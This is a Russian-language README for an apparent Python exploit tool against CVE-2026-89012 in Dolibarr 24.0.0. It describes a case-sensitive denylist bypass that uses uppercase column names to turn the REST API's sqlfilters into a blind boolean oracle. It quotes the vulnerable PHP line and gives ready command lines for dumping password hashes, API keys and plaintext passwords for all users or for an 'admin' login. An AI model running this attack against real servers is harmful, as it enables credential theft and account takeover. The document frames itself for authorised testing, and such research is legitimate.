
Python-эксплойт для CVE-2026-89012 — обход денилиста SQL-фильтров в Dolibarr, использующий blind-boolean оракул для извлечения хешей паролей и API-ключей через REST API.
Эксплойт для CVE-2026-89012: денилист запрещённых полей в
forgeSQLFromUniversalSearchCriteria() (добавленный вместе с исправлением CVE-2026-71510)
использует регистрозависимый in_array(), тогда как набор символов операнда допускает A-Z.
Поскольку разрешение имён столбцов SQL регистронезависимо, аутентифицированный пользователь API может
запросить t.PASS_CRYPTED вместо t.pass_crypted и обойти денилист.
Предикаты LIKE с префиксом превращают sqlfilters в слепой булев оракул, который
восстанавливает хэши паролей посимвольно.
Запись: https://www.cve.org/CVERecord?id=CVE-2026-89012
| Затронуто | Dolibarr 24.0.0 |
| Исправлено | 24.0.1 |
| Предварительные условия | действующий токен API с users->lire |
| Воздействие | раскрытие pass_crypted, api_key, pass, pass_temp, openid |
// htdocs/core/lib/functions.lib.php, 24.0.0 line 16306
$operandwithoutprefix = preg_replace('/^[a-z0-9_]+\./i', '', $operand);
if (in_array($operandwithoutprefix, $newforbiddenfields)) { // case-sensitive
return '1=1';
}
# detection (safe, 3 requests)
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY check
# list readable users
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY users
# extract pass_crypted for every user (threaded oracle)
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump
# single target / other protected column
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump --login admin
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump --column API_KEY --charset hex
Только стандартная библиотека (Python 3.8+). Поддерживает --proxy, --insecure, --timeout.
Примечание: при регистронезависимой сортировке (по умолчанию) значение bcrypt
восстанавливается точно с учётом регистра символов; столбцы с открытым текстом (llx_adherent.pass
через /api/index.php/members, pass_temp) восстанавливаются побайтово точно.

Только для авторизованного тестирования и исследований. Используйте только против систем, которыми вы владеете или на тестирование которых у вас есть явное разрешение.